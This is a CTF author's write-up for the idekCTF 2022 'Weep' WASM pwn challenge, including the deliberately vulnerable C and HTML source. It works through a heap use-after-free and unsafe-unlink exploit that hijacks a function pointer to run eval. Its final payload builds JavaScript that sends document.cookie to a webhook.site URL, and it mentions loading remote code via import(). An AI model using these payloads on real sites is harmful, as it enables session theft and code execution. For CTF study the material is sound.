idekCTF 2022 - Weep Writeup
Last week, we hosted idekCTF 2022 and had a great turnout. One of my challenges, Weep - Pwn ended off with 8 solves. This is my author writeup
Preamble⌗
This challenge is my attempt to show people a new type of pwn inside the WASM language. But actually, this technique of exploitation is not new and infact is has been explored 3 years ago
Initial Findings⌗
Challenge files can be found here
Is this the browser exploitation you guys are all talking about?
There are only two files of main concern,
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <emscripten.h>
#define MAX_NAME_LEN 10
#define MAX_TITLES 10
struct Title {
char* name;
int len;
};
void mrTitle(const char* name){
char jsCode[100];
sprintf(jsCode, "alert(\"Mr.%.10s\")", name);
emscripten_run_script(jsCode);
}
void mrsTitle(const char* name){
char jsCode[100];
sprintf(jsCode, "alert(\"Mrs.%.10s\")", name);
emscripten_run_script(jsCode);
}
struct Title titles[MAX_TITLES];
int numCalls = 0;
void (*title_fp)(const char*) = mrTitle;
void add(int idx, char* name) {
if(idx < 0 || idx >= MAX_TITLES) return;
titles[idx].len = strlen(name);
titles[idx].name = strdup(name);
}
void delete(int idx) {
if(idx < 0 || idx >= MAX_TITLES) return;
free(titles[idx].name);
}
void edit(int idx, char* name) {
if(idx < 0 || idx >= MAX_TITLES) return;
strncpy(titles[idx].name, name, titles[idx].len);
}
void greet(int idx) {
if(idx < 0 || idx >= MAX_TITLES) return;
if(numCalls > 0) return;
numCalls++;
title_fp(titles[idx].name);
}
void setTitle(int val){
if(val) title_fp = mrTitle;
else title_fp = mrsTitle;
if((long long)val == 0x1337133713371337) title_fp = emscripten_run_script;
}
// emcc -g main.c -o index.js -s EXPORTED_FUNCTIONS=_add,_delete,_edit,_greet,_setTitle -sEXPORTED_RUNTIME_METHODS=ccall,cwrap
<!DOCTYPE html>
<html>
<script type="text/javascript" src="index.js"></script>
<script>
_add = Module.cwrap('add', null, ['number', 'string'])
_delete = Module.cwrap('delete', null, ['number'])
_edit = Module.cwrap('edit', null, ['number', 'string'])
_greet = Module.cwrap('greet', null, ['number'])
_setTitle = Module.cwrap('setTitle', null, ['number'])
Module.onRuntimeInitialized = function() {
if(location.hash.length > 1){
var payload = JSON.parse(atob(location.hash.slice(1)))
if(Array.isArray(payload)) {
for(var i=0; i<payload.length; i++){
if(!Array.isArray(payload[i])) break;
var op = payload[i][0]
switch(op){
case 0: // add
if(payload[i].length != 3) break
if(typeof payload[i][1] !== 'number') break
if(typeof payload[i][2] !== 'string') break
_add(payload[i][1],payload[i][2])
break
case 1: // delete
if(payload[i].length != 2) break
if(typeof payload[i][1] !== 'number') break
_delete(payload[i][1])
break
case 2: // edit
if(payload[i].length != 3) break
if(typeof payload[i][1] !== 'number') break
if(typeof payload[i][2] !== 'string') break
_edit(payload[i][1], payload[i][2])
break
case 3: // greet
if(payload[i].length != 2) break
if(typeof payload[i][1] !== 'number') break
_greet(payload[i][1])
break
case 4: // setTitle
if(payload[i].length != 2) break
if(typeof payload[i][1] !== 'number') break
_setTitle(payload[i][1])
break
}
}
}
}
}
var cur = []
function update(val) {
cur.push(val)
var payload = btoa(JSON.stringify(cur))
document.getElementById('payload').innerText = payload
}
function addFunc(){
var idx = parseInt(document.getElementById('add-idx').value)
var name = document.getElementById('add-name').value
_add(idx, name)
update([0, idx, name])
}
function deleteFunc(){
var idx = parseInt(document.getElementById('delete-idx').value)
_delete(idx)
update([1, idx])
}
function editFunc(){
var idx = parseInt(document.getElementById('edit-idx').value)
var name = document.getElementById('edit-name').value
_edit(idx, name)
update([2, idx, name])
}
function greetFunc(){
var idx = parseInt(document.getElementById('greet-idx').value)
_greet(idx)
update([3, idx])
}
function setTitleFunc(){
var idx = parseInt(document.getElementById('setTitle-idx').value)
_setTitle(idx)
update([4, idx])
}
</script>
<h1>Add name</h1>
<input type="number" id="add-idx" placeholder="index">
<input type="text" id="add-name" placeholder="name">
<button onclick="addFunc()">Submit</button>
<h1>Delete name</h1>
<input type="number" id="delete-idx" placeholder="index">
<button onclick="deleteFunc()">Submit</button>
<h1>Edit name</h1>
<input type="number" id="edit-idx" placeholder="index">
<input type="text" id="edit-name" placeholder="name">
<button onclick="editFunc()">Submit</button>
<h1>Greet name</h1>
<input type="number" id="greet-idx" placeholder="index">
<button onclick="greetFunc()">Submit</button>
<h1>Set Greet Title (Mr/Mrs)</h1>
<input type="number" id="setTitle-idx" placeholder="index">
<button onclick="setTitleFunc()">Submit</button>
<h1>Payload</h1>
<div id='payload'></div>
Found an issue? <a href="/admin.html">Click me</a>
</html>
The challenge also includes a link to submit whatever payload you like to an admin bot with cookies that contain the flag
So how do we exploit this?
Pwning like it’s the 1990s⌗
So, if you are familiar with binary exploitation, here is what you need to know about main.c
emscripten_run_script
is equivalent tosystem
, it will call_emscripten_run_script
insidemain.js
whos input will beeval
‘edadd
,delete
,edit
,greet
, andsetTitle
are exported usingemcc
andmain.js
provides a wrapper to call each function
One other thing to note is _emscripten_run_script
has been modified
function _emscripten_run_script(ptr) {
var val = UTF8ToString(ptr)
if(val.length > 23){
alert("Hacker alert!")
}else{
eval(val);
}
}
Looking main.c
, we see several different bugs, a UAF/double free in delete
and edit
, and a function pointers being used in setTitle
and greet
.
The attack plan is simple. corrupt the heap and overwrite title_fp
to point to emscripten_run_script
and then run arbritrary JS.
So, this is a classic heap pwn in challenge, but in WASM? How do we exploit this?
Here is where we learn the quirks of emcc
.
- Code is seperated from the data, meaning a buffer overflow cannot overwrite the return pointer but can still overwrite variables on the stack.
- The memory layout is roughly as follows
global variables | heap | stack
- Memory starts from address
0x0
- All addresses are deterministic, no ASLR or PIE.
- There are still (i think) randomized cookies, but that does not matter in this challenge
- There are no protections in the heap
Wait, what?
Running strings
on the wasm file, we see it includes which files are used to compile the binary, and we see the dlmalloc implementation is used for all heap allocations. Here we clearly see the dlmalloc.c
implementation includes checks for heap corruption, yet when attempting to allocate and double free a block, we do not see any assertion errors.
Infact, we can free as many times as we like.
Ok, so there are several different ways to abuse this. I chose to go classic and use unlink_chunk
and our old friend, unsafe unlink.
payload = []
# Setup heap for unsafe unlinking
payload.append(_add(0, "A"*0x242))
payload.append(_add(1, "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"))
payload.append(_add(2, "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"))
payload.append(_add(3, "alert('A')")) # js exploit
payload.append(_add(4, "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"))
# Free the second chunk
payload.append(_delete(2))
# UAF to overwrite
payload.append(_edit(2, "R\x02\x01")) # address of `titles`
payload.append(_delete(1)) # Will overwrite titles[0].name to 0x10000
# The address of title_fp is at 0x10240
Here, we are able to overwrite title_fp
with whatever we like. As title_fp
is a function pointer, we should overwrite it with the address of emscripten_run_script
. But what is the address of that function? In wasm, code does not live in a specific address, only data does. Thus, we are not able to jump to emscripten_run_script
.
Unless, looking at setTitle
, we see it is able to set title_fp
with emscripten_run_script
. So how is it able to do that?
local.get $var17
i32.eqz
br_if $label2
i32.const 3
local.set $var18
i32.const 0
local.set $var19
local.get $var19
local.get $var18
i32.store offset=66112
Here it stores 3
(emscripten_run_script
) into 66112
(title_fp
). What?
An explaination can be found here. But to put it simply, wasm contains a table of functions which will be used with a function pointer. To call with a function pointer, it’ll take the value in the function pointer, lookup the index, and jump to the function.
$ wasmTable.get(3)
ƒ $emscripten_run_script() { [native code] }
Great, so what we need to do is overwrite title_fp
with 3
and it will call emscripten_run_script
. We now have XSS!
payload.append(_edit(0, '\x03'*0x241))
payload.append(_greet(3))
But one limitation can be found inside emscripten_run_script
.
function _emscripten_run_script(ptr) {
var val = UTF8ToString(ptr)
if(val.length > 23){
alert("Hacker alert!")
}else{
eval(val);
}
}
There is a length check for the size of the string you pass. Meaning we have a limited number of characters.
Some teams solved this using an unintended solution by using a short URL. import('https://URL')
Some other teams also solved this by reusing the UAF & double free to have a pointer to cnt
and create their payloads incrementally.
My solution involved modifying the wasm heap from JS.
Here, emcc
provides HEAP8
which represents the current memory state of our wasm program and we can modify the memory from here by doing
HEAP8[66128] = 0 // cnt = 0
From here, we can create our payload a few bytes at a time and get the flag.
payload += send("M[A]=0;B=\"location='//\"")
payload += send("M[A]=0;B+=\"webhook.si\"")
payload += send("M[A]=0;B+=\"te/217f3a94\"")
payload += send("M[A]=0;B+=\"-f513-4974-\"")
payload += send("M[A]=0;B+=\"a5c5-3ac7ed\"")
payload += send("M[A]=0;B+=\"d69d42/'+do\"")
payload += send("M[A]=0;B+=\"cument.cook\"")
payload += send("M[A]=0;eval(B+\"ie\")")
idek{Now_When_will_we_get_security_checks_in_the_heap_allocator?}
Full exploit script including notes and some helper functions can be found here.
Afterthoughts⌗
This is a challenge that I have been meaning to make for a while now. The main point of this challenge is to show how other instruction formats are still vulnerable and the number of protections missing compared to a modern ELF binary.
Additionally, this challenge was inspired off of Blazing Fast by Ehhthing and Cyber Cook by Eth.